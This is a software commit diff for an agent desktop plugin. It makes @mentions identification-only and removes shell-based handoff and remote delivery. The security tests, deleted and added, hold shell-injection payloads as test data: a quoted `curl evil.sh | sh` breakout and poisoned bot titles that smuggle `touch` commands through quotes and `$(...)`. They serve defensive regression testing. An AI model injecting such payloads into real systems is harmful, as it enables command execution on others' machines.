The agent that grows with you
Python aiai-agentai-agentsanthropicchatgptclaudeclaude-codecodexhermeshermes-agentllmnous-researchopenai
feat(bot-mode): @mention middleware identifies, never delivers — the agent owns messaging
Teknium729782d058e6
diff --git a/apps/desktop/src/plugins/hermes-bots/plugin.js b/apps/desktop/src/plugins/hermes-bots/plugin.jsindex c5f783ddb3a..d55604b6a6f 100644--- a/apps/desktop/src/plugins/hermes-bots/plugin.js+++ b/apps/desktop/src/plugins/hermes-bots/plugin.js@@ -4016,171 +4016,6 @@ function resolveRosterMentions(text, roster, active = {}) {return mentioned}-const REMOTE_DM_TIMEOUT_MS = 180000-const REMOTE_DM_POLL_MS = 2000--/** The remote bot's canonical Bot Chat: pinned stored-id from its profile's- * ui_meta first, then resume-by-title, then create. Mirrors- * ensureGroupChatSession so DMs land in the ONE forever-chat instead of- * minting a fresh "Bot Chat" per mention. */-async function ensureRemoteCanonicalChat(route, profile) {- let pinned = null-- try {- const listed = await host.requestProfile(route, 'profiles.list', {})- const owner = listed?.profiles?.find(p => p.name === profile)- pinned = owner?.ui_meta?.['hermes-bots']?.chat || null- } catch {- /* older remote gateway — title lookup below still works */- }-- for (const target of [pinned, 'Bot Chat']) {- if (!target) {- continue- }-- try {- const res = await host.requestProfile(route, 'session.resume', {- session_id: target,- profile,- omit_messages: true- })-- if (res?.session_id) {- return { runtime: res.session_id, stored: res.session_key || pinned }- }- } catch {- /* fall through */- }- }-- const created = await host.requestProfile(route, 'session.create', {- profile,- title: 'Bot Chat',- // Bot Mode sessions are always hidden from the global sidebar.- hidden: true- })-- return { runtime: created?.session_id || null, stored: created?.stored_session_id || null }-}--/** Bounded reply poll on the recipient's session — same shape as a group- * member turn: wait for a NEW assistant message after `before`, or time out. */-async function pollRemoteDmReply(route, profile, sessionRef, before) {- const deadline = Date.now() + REMOTE_DM_TIMEOUT_MS-- while (Date.now() < deadline) {- await new Promise(resolve => setTimeout(resolve, REMOTE_DM_POLL_MS))-- let state = null-- try {- state = await host.requestProfile(route, 'session.resume', { session_id: sessionRef, profile })- } catch {- continue- }-- const messages = Array.isArray(state?.messages) ? state.messages : []- const done = !state?.inflight && !state?.running-- if (messages.length > before && done) {- for (let i = messages.length - 1; i >= 0; i--) {- const msg = messages[i]-- if (msg?.role === 'assistant') {- const text = typeof msg.content === 'string'- ? msg.content- : Array.isArray(msg.content)- ? msg.content.map(p => (typeof p === 'string' ? p : p?.text || '')).join('')- : msg?.text || ''-- return String(text).trim() || null- }- }-- return null- }- }-- return null-}--/** Deliver a user mention to bots on OTHER connections: into each bot's- * canonical Bot Chat, with the standard sender-attribution prefix (so the- * recipient's messaging protocol recognizes an agent-to-agent message), then- * relay the reply back as a notification. Sequential and fire-and-forget- * from the composer's perspective. */-async function deliverRemoteRosterMentions(bots, userText, sender) {- const text = String(userText || '').trim()-- if (!text || typeof host.requestProfile !== 'function') {- return- }-- const senderName = String(sender?.name || 'the user').trim()- const senderHandle = String(sender?.handle || senderName).trim()-- for (const bot of bots) {- const connectionId = String(bot?.connectionId || '').trim()- const profile = String(bot?.name || '').trim() || 'default'-- if (!connectionId || connectionId === 'local') {- continue- }-- const route = { connectionId, mode: 'remote', profile, targetProfile: profile }- const label = bot.connectionLabel || connectionId-- try {- const { runtime, stored } = await ensureRemoteCanonicalChat(route, profile)-- if (!runtime) {- throw new Error('No remote session')- }-- // Baseline before our submit, so the poll can spot the NEW reply.- let before = 0-- try {- const pre = await host.requestProfile(route, 'session.resume', { session_id: stored || runtime, profile })- before = Array.isArray(pre?.messages) ? pre.messages.length : pre?.message_count || 0- } catch {- /* lazy session — zero messages */- }-- // The delivery prefix is the recipient's cue that an agent (not its- // human) is talking — same contract as the local CLI handoff.- await host.requestProfile(route, 'prompt.submit', {- session_id: runtime,- text: `Message from \u{1F916} ${senderName} (@${senderHandle}): ${text}`- })- host.notify?.({- kind: 'info',- title: displayName(bot),- message: `Messaged @${botHandle(profile, bot)} on ${label} — will relay the reply here.`- })-- const reply = await pollRemoteDmReply(route, profile, stored || runtime, before)-- if (reply) {- host.notify?.({- kind: 'info',- title: `\u{1F916} ${displayName(bot)} (${label})`,- message: reply.slice(0, 500)- })- } else {- host.notify?.({- kind: 'info',- title: displayName(bot),- message: `No reply from @${botHandle(profile, bot)} yet — check its Bot Chat on ${label}.`- })- }- } catch (error) {- host.notifyError?.(error, `Could not reach ${label}`)- }- }-}-/** Source-qualified identity for a roster row — the React list key AND the* cross-surface roster identity. Names alone are NOT unique in a* multi-source roster (two connections can both expose 'default');@@ -8641,13 +8476,6 @@ function shellQuote(value) {return `'${String(value).replaceAll("'", "'\"'\"'")}'`}-/** Escape for interpolation INSIDE an existing double-quoted shell string:- * keeps ", `, $, and \ literal so free-text titles (which sync from ui_meta)- * and gateway profile names can't expand or break out of the quotes. */-function shellDoubleQuote(value) {- return String(value).replace(/[\\"`$]/g, ch => '\\' + ch)-}-function routineInputError(title, instruction) {if (String(title).includes('\0')) {return 'Cronjob name cannot contain NUL (U+0000).'@@ -12003,10 +11831,13 @@ export default {}})- // @-mention middleware: "@<bot> do the thing" in any chat becomes an- // explicit handoff instruction the active agent's SOUL.md knows how to- // execute. Names are validated against the LIVE roster so- // "[email protected]" or an unknown @ passes through untouched.+ // @-mention middleware: "@<bot> do the thing" in any chat gets an+ // IDENTIFICATION note — who the user is referring to, resolved against+ // the LIVE roster ("[email protected]" or an unknown @ passes through+ // untouched). The middleware never delivers anything itself: the agent+ // owns messaging via its message_agent tool (Bot Chats), so there is+ // exactly one send path and user text is never forwarded verbatim by+ // the renderer. The composer's @-autocomplete remains the picking aid.ctx.register({id: 'mention-middleware',area: COMPOSER_AREAS.middleware,@@ -12068,35 +11899,22 @@ export default {return draft}- const localMentions = mentionedBots.filter(bot => !bot.remoteSource)- const remoteMentions = mentionedBots.filter(bot => bot.remoteSource)-- const activeMeta = $botMeta.get()[live.name]- const senderName = displayName({ name: live.name, title: activeMeta?.title }, activeMeta)-- if (remoteMentions.length && typeof host.requestProfile === 'function') {- void deliverRemoteRosterMentions(remoteMentions, text, {- name: senderName,- handle: botHandle(live.name)- })- }- let note = ''-- if (localMentions.length) {- note +=- '\n\n[@mention handoff — for each mentioned agent (' + localMentions.map(bot => botHandle(bot.name, bot)).join(', ') + '): ' +- 'COMPOSE a message from you (' + senderName + ') to that agent conveying what the user wants — do not forward this text verbatim (avoid double quotes in your composed message). Send it with exactly one terminal call, run with background=true AND notify_on_complete=true (the recipient may take minutes; the user must not be blocked):\n' +- localMentions.map(bot => '`hermes -p ' + shellQuote(bot.name) + ' chat --in ~ -c "Bot Chat" --create-if-missing -Q -q "Message from 🤖 ' + shellDoubleQuote(senderName) + ' (@' + shellDoubleQuote(botHandle(live.name)) + '): <your composed message>"`').join('\n') +- '\nAfter dispatching, tell the user the message was sent and END YOUR TURN — do not wait or poll; when the background process completes, its notification carries the reply — relay it then, attributed to that agent. ' +- 'Relay the reply back to the user, attributed to that agent.]'- }-- if (remoteMentions.length) {- const labels = remoteMentions.map(bot => `@${botHandle(bot.name, bot)} (${bot.connectionLabel || bot.connectionId})`).join(', ')- note +=- '\n\n[@mention — stay on this device. Desktop is delivering to ' + labels +- ' over Connections in the background. Do not run hermes -p for them and do not switch Gateway. Tell the user they were messaged here; when a reply lands, relay it attributed to that agent.]'- }+ // Identification only. Each line names the agent the user's tag+ // resolves to (friendly title + device for cross-connection rows),+ // so the agent knows exactly who "@research-buddy" is without the+ // renderer ever acting on the user's behalf.+ const lines = mentionedBots.map(bot => {+ const handle = botHandle(bot.name, bot)+ const title = String(botRosterMeta(bot, $botMeta.get())?.title || bot.ui_meta?.['hermes-bots']?.title || bot.title || '').trim()+ const where = bot.remoteSource+ ? ` — on ${bot.connectionLabel || bot.connectionId}`+ : ''+ return `@${handle} = agent profile "${bot.name}"${title ? ` ("${title}")` : ''}${where}`+ })+ const note =+ '\n\n[@mentions resolved from the Bot Mode roster — the user is referring to: ' ++ lines.join('; ') ++ '. If they want one of these agents contacted, compose your own message and send it with your message_agent tool; never forward the user\u2019s text verbatim. If this session has no message_agent tool, agent messaging is unavailable here — say so.]'return { ...draft, text: text + note }} }diff --git a/apps/desktop/src/plugins/hermes-bots/tests/hide-bots.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/hide-bots.test.mjsindex 5881984b13e..7e85fc09f4a 100644--- a/apps/desktop/src/plugins/hermes-bots/tests/hide-bots.test.mjs+++ b/apps/desktop/src/plugins/hermes-bots/tests/hide-bots.test.mjs@@ -217,7 +217,7 @@ test('shape: hiding never filters mentions, group flows, or the meta/activity sw// Mention resolution never consults the hidden flag.const mentions = pluginSource.slice(pluginSource.indexOf('function resolveRosterMentions('),- pluginSource.indexOf('const REMOTE_DM_TIMEOUT_MS')+ pluginSource.indexOf('/** Source-qualified identity for a roster row'))assert.doesNotMatch(mentions, /hidden/i)})diff --git a/apps/desktop/src/plugins/hermes-bots/tests/mention-handoff-quoting.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/mention-handoff-quoting.test.mjsdeleted file mode 100644index aef58e4f4d0..00000000000--- a/apps/desktop/src/plugins/hermes-bots/tests/mention-handoff-quoting.test.mjs+++ /dev/null@@ -1,204 +0,0 @@-import assert from 'node:assert/strict'-import { spawnSync } from 'node:child_process'-import { existsSync, readFileSync, rmSync } from 'node:fs'-import test from 'node:test'-import vm from 'node:vm'--// The @mention middleware appends a handoff note whose hermes command the-// active agent runs verbatim in its terminal. The sender display name and-// @handle used to be interpolated into the double-quoted -q argument (and-// the recipient name sat unquoted after -p) with no escaping — a bot title-// like `x" ; curl evil.sh | sh ; echo "` (titles are free text and sync from-// ui_meta, i.e. other machines / the gateway) broke out into real commands,-// and $(...) inside double quotes expanded even without a breakout. Same-// class as the delegated-routine fix for #21.--const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')--function load({- activeProfile = 'research',- focusedProfile = activeProfile,- profiles = ['research', 'ops'],- title = null-} = {}) {- const values = new Map()- const atom = initial => {- const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }- values.set(slot, initial)- return slot- }- const context = {- atom,- PALETTE_AREA: 'palette',- COMPOSER_AREAS: { middleware: 'middleware' },- document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },- host: {- request: async method => {- if (method === 'profiles.list') {- return {- profiles: profiles.map(profile =>- typeof profile === 'string' ? { name: profile } : profile- )- }- }- return {}- },- state: {- profile: { get: () => activeProfile, listen: () => undefined },- focusedSessionProfile: { get: () => focusedProfile, listen: () => undefined },- gateway: { listen: () => undefined }- }- }- }- const source = pluginSource- .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')- .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')- .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')- .replace(/^import .* from 'react'\r?\n/m, '')- .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')- .replace('export default {', 'globalThis.plugin = {')- .concat('\nglobalThis.__mention = { $botMeta };\n')- vm.runInNewContext(source, context, { filename: 'plugin.js' })- context.__mention.$botMeta.set(title ? { [activeProfile]: { title } } : {})-- const registered = []- context.plugin.register({ storage: { get: () => null }, register: entry => registered.push(entry) })- const middleware = registered.find(entry => entry.id === 'mention-middleware')- assert.ok(middleware, 'mention middleware did not register')- return { handler: middleware.data.handler }-}--/** Run the note's first hermes command under a stub that echoes each argv- * element — proves the shell received the interpolations as LITERALS. */-function runHandoffCommand(noteText) {- const command = noteText.match(/`hermes -p [^`]*`/)[0].slice(1, -1)- const script = `hermes() { printf '%s\\037' "$@"; }\n${command}`- const result = spawnSync('sh', ['-c', script], { encoding: 'utf8' })- assert.equal(result.status, 0, result.stderr)- return result.stdout.split('\x1f').slice(0, -1)-}--test('security: a poisoned bot title stays literal in the handoff command', async () => {- const quoteSentinel = `/tmp/hermes-bot-mode-mention-quote-${process.pid}`- const subSentinel = `/tmp/hermes-bot-mode-mention-sub-${process.pid}`- rmSync(quoteSentinel, { force: true })- rmSync(subSentinel, { force: true })-- const title = `Evil" ; touch ${quoteSentinel} ; echo "$(touch ${subSentinel})"`- const { handler } = load({ title })-- const result = await handler({ text: 'please @ops review the diff' })- assert.ok(result.text.includes('[@mention handoff'))-- const args = runHandoffCommand(result.text)- assert.equal(args[args.indexOf('-p') + 1], 'ops')- assert.equal(- args[args.indexOf('-q') + 1],- `Message from \uD83E\uDD16 ${title} (@research): <your composed message>`- )- assert.equal(existsSync(quoteSentinel), false)- assert.equal(existsSync(subSentinel), false)-})--test('security: a hostile active profile name stays literal in the handoff command', async () => {- const sentinel = `/tmp/hbmmention${process.pid}`- rmSync(sentinel, { force: true })- const activeProfile = `res$(touch ${sentinel})earch`-- const { handler } = load({ activeProfile, title: null })- const result = await handler({ text: 'ask @ops to summarize' })-- const args = runHandoffCommand(result.text)- // displayName title-cases word boundaries inside the name — the shell- // metacharacters survive that transform, so they must arrive escaped.- assert.equal(- args[args.indexOf('-q') + 1],- `Message from \uD83E\uDD16 Res$(Touch /Tmp/Hbmmention${process.pid})Earch (@${activeProfile}): <your composed message>`- )- assert.equal(existsSync(sentinel), false)-})--test('regression: the handoff command quotes the recipient argument', async () => {- const { handler } = load()- const result = await handler({ text: 'ping @ops please' })- assert.match(result.text, /`hermes -p 'ops' chat --in ~/)-})--test('behavior: a renamed default profile routes from another focused Bot Chat', async () => {- const { handler } = load({- activeProfile: 'default',- focusedProfile: 'renametest',- profiles: [- { name: 'default', display_name: 'Lucy' },- { name: 'renametest' }- ]- })-- const result = await handler({ text: 'ask @lucy for a status update' })-- assert.match(result.text, /`hermes -p 'default' chat --in ~/)- assert.match(result.text, /Message from 🤖 Renametest \(@renametest\)/)-})--test('behavior: @dixie on a Connections bot stays in this chat and does not hermes -p', async () => {- const values = new Map()- const atom = initial => {- const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }- values.set(slot, initial)- return slot- }- const delivered = []- const context = {- atom,- PALETTE_AREA: 'palette',- COMPOSER_AREAS: { middleware: 'middleware' },- queryClient: {- getQueryData: () => ({- profiles: [- { name: 'default', connectionId: 'local' },- {- name: 'dixie',- connectionId: 'mac-mini',- connectionLabel: 'Mac Mini',- handle: 'dixie',- remoteSource: true- }- ]- })- },- document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },- host: {- request: async () => ({ profiles: [{ name: 'default' }] }),- requestProfile: async (route, method) => {- delivered.push([route.connectionId, route.profile, method])- return { session_id: 'remote-1' }- },- state: {- profile: { get: () => 'default', listen: () => undefined },- connectionId: { get: () => 'local', listen: () => undefined },- gateway: { listen: () => undefined }- }- }- }- const source = pluginSource- .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')- .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')- .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')- .replace(/^import .* from 'react'\r?\n/m, '')- .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')- .replace('export default {', 'globalThis.plugin = {')- .concat('\nglobalThis.__mention = { $botMeta };\n')- vm.runInNewContext(source, context, { filename: 'plugin.js' })- context.__mention.$botMeta.set({})-- const registered = []- context.plugin.register({ storage: { get: () => null }, register: entry => registered.push(entry) })- const middleware = registered.find(entry => entry.id === 'mention-middleware')- const result = await middleware.data.handler({ text: '@dixie what is the disk space?' })-- assert.match(result.text, /stay on this device/i)- assert.doesNotMatch(result.text, /hermes -p 'dixie'/)- await new Promise(resolve => setTimeout(resolve, 0))- assert.equal(delivered[0][0], 'mac-mini')- assert.equal(delivered[0][1], 'dixie')-})diff --git a/apps/desktop/src/plugins/hermes-bots/tests/mention-identification.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/mention-identification.test.mjsnew file mode 100644index 00000000000..f3baf159640--- /dev/null+++ b/apps/desktop/src/plugins/hermes-bots/tests/mention-identification.test.mjs@@ -0,0 +1,155 @@+import assert from 'node:assert/strict'+import { readFileSync } from 'node:fs'+import test from 'node:test'+import vm from 'node:vm'++// The @mention middleware is IDENTIFICATION-ONLY (Aug 2026 redesign): it+// resolves the user's @tags against the live roster and annotates the draft+// with who they refer to. It never delivers anything — the agent owns+// messaging via its Bot-Chat message_agent tool, so there is exactly one+// send path, no renderer-side shellout instructions, and no verbatim+// forwarding of the user's text (the class behind #91397/#91304/#91339).++const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')++function load({+ activeProfile = 'research',+ focusedProfile = activeProfile,+ profiles = ['research', 'ops'],+ title = null,+ unionProfiles = null,+ requestProfileSpy = null+} = {}) {+ const values = new Map()+ const atom = initial => {+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }+ values.set(slot, initial)+ return slot+ }+ const context = {+ atom,+ PALETTE_AREA: 'palette',+ COMPOSER_AREAS: { middleware: 'middleware' },+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },+ host: {+ request: async method => {+ if (method === 'profiles.list') {+ return {+ profiles: profiles.map(profile =>+ typeof profile === 'string' ? { name: profile } : profile+ )+ }+ }+ return {}+ },+ ...(requestProfileSpy ? { requestProfile: requestProfileSpy } : {}),+ state: {+ profile: { get: () => activeProfile, listen: () => undefined },+ focusedSessionProfile: { get: () => focusedProfile, listen: () => undefined },+ connectionId: { get: () => 'local', listen: () => undefined },+ gateway: { listen: () => undefined }+ }+ },+ ...(unionProfiles+ ? { queryClient: { getQueryData: () => ({ profiles: unionProfiles }) } }+ : {})+ }+ const source = pluginSource+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')+ .replace(/^import .* from 'react'\r?\n/m, '')+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')+ .replace('export default {', 'globalThis.plugin = {')+ .concat('\nglobalThis.__mention = { $botMeta };\n')+ vm.runInNewContext(source, context, { filename: 'plugin.js' })+ context.__mention.$botMeta.set(title ? { [activeProfile]: { title } } : {})++ const registered = []+ context.plugin.register({ storage: { get: () => null }, register: entry => registered.push(entry) })+ const middleware = registered.find(entry => entry.id === 'mention-middleware')+ assert.ok(middleware, 'mention middleware did not register')+ return { handler: middleware.data.handler }+}++test('identification: a local mention annotates who the user means', async () => {+ const { handler } = load()+ const result = await handler({ text: 'please @ops review the diff' })+ assert.match(result.text, /@mentions resolved from the Bot Mode roster/)+ assert.match(result.text, /@ops = agent profile "ops"/)+ assert.match(result.text, /message_agent/)+})++test('containment: the note never teaches a shellout and never forwards a command', async () => {+ const { handler } = load()+ const result = await handler({ text: 'ask @ops to summarize' })+ assert.doesNotMatch(result.text, /hermes -p/)+ assert.doesNotMatch(result.text, /terminal call/i)+ assert.doesNotMatch(result.text, /background=true/)+})++test('containment: the note tells the agent to compose, never forward verbatim', async () => {+ const { handler } = load()+ const result = await handler({ text: '@ops handle this' })+ assert.match(result.text, /compose your own message/i)+ assert.match(result.text, /never forward/i)+})++test('security: a poisoned bot title stays inert prose (no shell context exists)', async () => {+ const title = 'Evil" ; touch /tmp/pwned ; echo "$(touch /tmp/pwned2)"'+ const { handler } = load({+ activeProfile: 'ops',+ focusedProfile: 'ops',+ profiles: [{ name: 'ops' }, { name: 'research', display_name: title }]+ })+ const result = await handler({ text: 'ping @research please' })+ // The note is plain prose fed to the model — there is no command to break+ // out of. The only invariant left: no hermes command is ever emitted.+ assert.doesNotMatch(result.text, /`hermes/)+})++test('remote mentions: identified with their device, never delivered by the renderer', async () => {+ const delivered = []+ const { handler } = load({+ activeProfile: 'default',+ focusedProfile: 'default',+ unionProfiles: [+ { name: 'default', connectionId: 'local' },+ {+ name: 'dixie',+ connectionId: 'mac-mini',+ connectionLabel: 'Mac Mini',+ handle: 'dixie',+ remoteSource: true+ }+ ],+ requestProfileSpy: async (...args) => {+ delivered.push(args)+ return {}+ }+ })++ const result = await handler({ text: '@dixie what is the disk space?' })+ assert.match(result.text, /@dixie = agent profile "dixie"/)+ assert.match(result.text, /on Mac Mini/)+ // The renderer must NOT deliver: no requestProfile traffic at all.+ await new Promise(resolve => setTimeout(resolve, 50))+ assert.equal(delivered.length, 0, 'middleware must never deliver over Connections')+})++test('unknown @ and emails pass through untouched', async () => {+ const { handler } = load()+ const untouched = 'mail [email protected] and ping @nosuchbot'+ const result = await handler({ text: untouched })+ assert.equal(result.text, untouched)+})++test('source contract: the delivery machinery is gone from plugin.js', () => {+ assert.doesNotMatch(pluginSource, /deliverRemoteRosterMentions/)+ assert.doesNotMatch(pluginSource, /pollRemoteDmReply/)+ assert.doesNotMatch(pluginSource, /ensureRemoteCanonicalChat/)+ assert.doesNotMatch(pluginSource, /REMOTE_DM_TIMEOUT_MS/)+ // The middleware must not know how to build a bot-to-bot hermes command.+ assert.doesNotMatch(pluginSource, /\[@mention handoff/)+ assert.doesNotMatch(pluginSource, /Desktop is delivering/)+})diff --git a/apps/desktop/src/plugins/hermes-bots/tests/mention-roster-cache-key.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/mention-roster-cache-key.test.mjsindex 38898848e47..b76bd18e88f 100644--- a/apps/desktop/src/plugins/hermes-bots/tests/mention-roster-cache-key.test.mjs+++ b/apps/desktop/src/plugins/hermes-bots/tests/mention-roster-cache-key.test.mjs@@ -186,19 +186,17 @@ test('mention completions offer remote @name-device handles from the suffixed caassert.ok(inserts.includes('@default-vera'), `expected @default-vera in ${JSON.stringify(inserts)}`)})-test('the middleware resolves a remote @name-device mention and routes delivery over Connections', async () => {+test('the middleware identifies a remote @name-device mention without delivering (identification-only)', async () => {const { handler, delivered } = load()const result = await handler({ text: '@default-vera what is the disk space on the server?' })- assert.match(result.text, /stay on this device/i)+ assert.match(result.text, /@mentions resolved from the Bot Mode roster/)assert.match(result.text, /@default-vera/)- // No local CLI handoff is composed for remote bots — only the note's- // "do not run hermes -p" instruction must mention the phrase.+ // No CLI handoff is composed and the renderer performs NO delivery — the+ // agent owns messaging via its message_agent tool.assert.doesNotMatch(result.text, /hermes -p '?default/)await new Promise(resolve => setTimeout(resolve, 0))- assert.ok(delivered.length > 0, 'remote delivery dispatched')- assert.equal(delivered[0][0], 'vera')- assert.equal(delivered[0][1], 'default')+ assert.equal(delivered.length, 0, 'middleware must not deliver over Connections')})test('a roster cached under another connection id still resolves (fallback entry)', () => {diff --git a/apps/desktop/src/plugins/hermes-bots/tests/remote-dm-delivery.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/remote-dm-delivery.test.mjsdeleted file mode 100644index d864d637ce5..00000000000--- a/apps/desktop/src/plugins/hermes-bots/tests/remote-dm-delivery.test.mjs+++ /dev/null@@ -1,134 +0,0 @@-import assert from 'node:assert/strict'-import { readFileSync } from 'node:fs'-import test from 'node:test'-import vm from 'node:vm'--// Cross-machine bot DMs: a remote @mention must land in the recipient's-// CANONICAL Bot Chat (pinned id → title → create, never a fresh session per-// mention), carry the "Message from 🤖 <sender> (@handle):" attribution-// prefix so the recipient's messaging protocol recognizes an agent-to-agent-// message, and poll for the reply so it can be relayed back.--const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')--function runtime(hostOverrides = {}) {- const context = {- console,- setTimeout: fn => {- fn()- return 0- },- clearTimeout: () => undefined,- Date,- URL,- atom: initial => {- let value = initial- return { get: () => value, set: next => (value = next), listen: () => () => undefined }- },- host: {- request: async () => ({}),- requestProfile: async () => ({}),- notify: () => undefined,- notifyError: () => undefined,- state: {- profile: { get: () => 'default', listen: () => undefined },- connectionId: { get: () => 'local', listen: () => undefined },- gateway: { listen: () => undefined }- },- ...hostOverrides- },- document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } }- }- const code = pluginSource- .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')- .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')- .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')- .replace(/^import .* from 'react'\r?\n/m, '')- .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')- .replace('export default {', 'globalThis.plugin = {')- .concat('\nglobalThis.__dm = { deliverRemoteRosterMentions, ensureRemoteCanonicalChat };\n')- vm.runInNewContext(code, context, { filename: 'plugin.js' })- return context-}--test('remote DM resumes the pinned canonical Bot Chat instead of creating a new session', async () => {- const calls = []- const ctx = runtime({- requestProfile: async (route, method, params) => {- calls.push([method, params])-- if (method === 'profiles.list') {- return { profiles: [{ name: 'dixie', ui_meta: { 'hermes-bots': { chat: 'stored-42' } } }] }- }-- if (method === 'session.resume' && params.session_id === 'stored-42') {- return { session_id: 'runtime-9', session_key: 'stored-42', messages: [] }- }-- if (method === 'session.resume') {- return { session_id: 'runtime-9', messages: [{ role: 'assistant', content: 'done' }], inflight: false, running: false }- }-- return {}- }- })-- const { runtime: rt, stored } = await ctx.__dm.ensureRemoteCanonicalChat(- { connectionId: 'mac-mini', mode: 'remote', profile: 'dixie', targetProfile: 'dixie' },- 'dixie'- )-- assert.equal(rt, 'runtime-9')- assert.equal(stored, 'stored-42')- assert.ok(!calls.some(([method]) => method === 'session.create'), 'must not mint a fresh session when the pin resumes')-})--test('remote DM carries sender attribution and relays the reply', async () => {- const submits = []- const notices = []- const ctx = runtime({- requestProfile: async (route, method, params) => {- if (method === 'profiles.list') {- return { profiles: [] }- }-- if (method === 'session.resume' && params.session_id === 'Bot Chat' && params.omit_messages) {- return { session_id: 'runtime-1', session_key: 'stored-1' }- }-- if (method === 'prompt.submit') {- submits.push(params.text)- return {}- }-- if (method === 'session.resume') {- // First (baseline) read: empty. After submit: reply present.- return submits.length- ? { messages: [{ role: 'user', content: 'x' }, { role: 'assistant', content: 'disk is 40% full' }], inflight: false, running: false }- : { messages: [] }- }-- return {}- },- notify: notice => notices.push(notice)- })-- await ctx.__dm.deliverRemoteRosterMentions(- [{ name: 'dixie', connectionId: 'mac-mini', connectionLabel: 'Mac Mini', remoteSource: true }],- 'what is the disk space?',- { name: 'Hermes', handle: 'hermes' }- )-- assert.equal(submits.length, 1)- assert.match(submits[0], /^Message from 🤖 Hermes \(@hermes\): what is the disk space\?$/u)- assert.ok(- notices.some(notice => /disk is 40% full/.test(notice?.message || '')),- 'the recipient reply must be relayed back as a notification'- )-})--test('source contract: DM poll shares the group-turn shape (bounded, new-assistant-message)', () => {- assert.match(pluginSource, /const REMOTE_DM_TIMEOUT_MS = /)- assert.match(pluginSource, /pollRemoteDmReply/)- assert.match(pluginSource, /Message from \\u\{1F916\} \$\{senderName\} \(@\$\{senderHandle\}\)/)-})diff --git a/website/docs/user-guide/bot-mode.md b/website/docs/user-guide/bot-mode.mdindex bd9632dedec..8a9eb0c9a78 100644--- a/website/docs/user-guide/bot-mode.md+++ b/website/docs/user-guide/bot-mode.md@@ -94,9 +94,8 @@ Groups are standalone rows in the same activity-ordered roster as Bot DMs. A BotBots message each other with attribution, and you can hand work off from any chat:-- **@mentions** — type `@researcher have a look at this` in any chat and the active Bot hands the message off, waits for the reply, and reports back. Mention names are validated against the live roster, so an email address or an unknown `@` passes through untouched.+- **@mentions** — type `@researcher have a look at this` in any chat and the composer's `@` autocomplete helps you pick the right Bot; on send, the mention is resolved against the live roster and the active Bot is told exactly who you mean (profile, friendly name, and device for cross-connection Bots). The Bot then composes its own message and sends it with `message_agent` — your text is never forwarded verbatim, and the reply comes back attributed to that agent. An email address or an unknown `@` passes through untouched. Reaching a Bot on another machine goes through a registered peer gateway (see `hermes peer` below).- **Renamed Bots keep their tags in sync** — give a Bot a friendly name (the pencil in its chat header, or `hermes profile rename`) and it becomes taggable by that name: a Bot titled *Research Buddy* answers to `@research-buddy` (and `@researchbuddy`), in regular chats and in group rooms alike. The composer's `@` autocomplete offers the renamed tag and also matches when you type the old profile name, which keeps resolving too.-- **@mentions across machines** — mentioning a Bot that lives on another registered connection (use its `@name-device` handle when names collide) delivers over the Connections registry in the background: the active Bot stays on this device, the desktop routes the message to the recipient's machine, and the reply is relayed back attributed to that agent. Your window's gateway never switches.- **Direct messages** — every Bot Chat carries the `message_agent` tool: a Bot messages a teammate by calling `message_agent(target="researcher", message="…")`. The tool validates the target against the live roster, prefixes the sender's `Message from 🤖 <sender> (@<sender>):` attribution automatically, and delivers into the teammate's canonical Bot Chat. Delivery is **fire-and-forget**: the sender gets an acknowledgement, finishes its turn, and the reply arrives later as a background completion notification. The message travels as a real parameter (nothing shell-interpreted — quotes, `$(...)`, and backticks arrive verbatim), and the Bot composes its own message rather than forwarding your words. The teammate roster — names **and roles** from each profile's title/description — is part of every Bot Chat's system prompt, so Bots know who does what before choosing a recipient. The tool exists **only** in canonical Bot Chat sessions on Bot-Mode-managed installs; regular chats, group-room member sessions, and CLI sessions never see it.The backend teaches each Bot's canonical Bot Chat session the messaging protocol automatically at prompt-build time — including when a teammate opens it headlessly from the CLI. Only the canonical Bot Chat gets the protocol section; your regular sessions and your SOUL.md stay untouched. This is controlled by `agent.bot_mode_protocol` in `config.yaml` (default: on):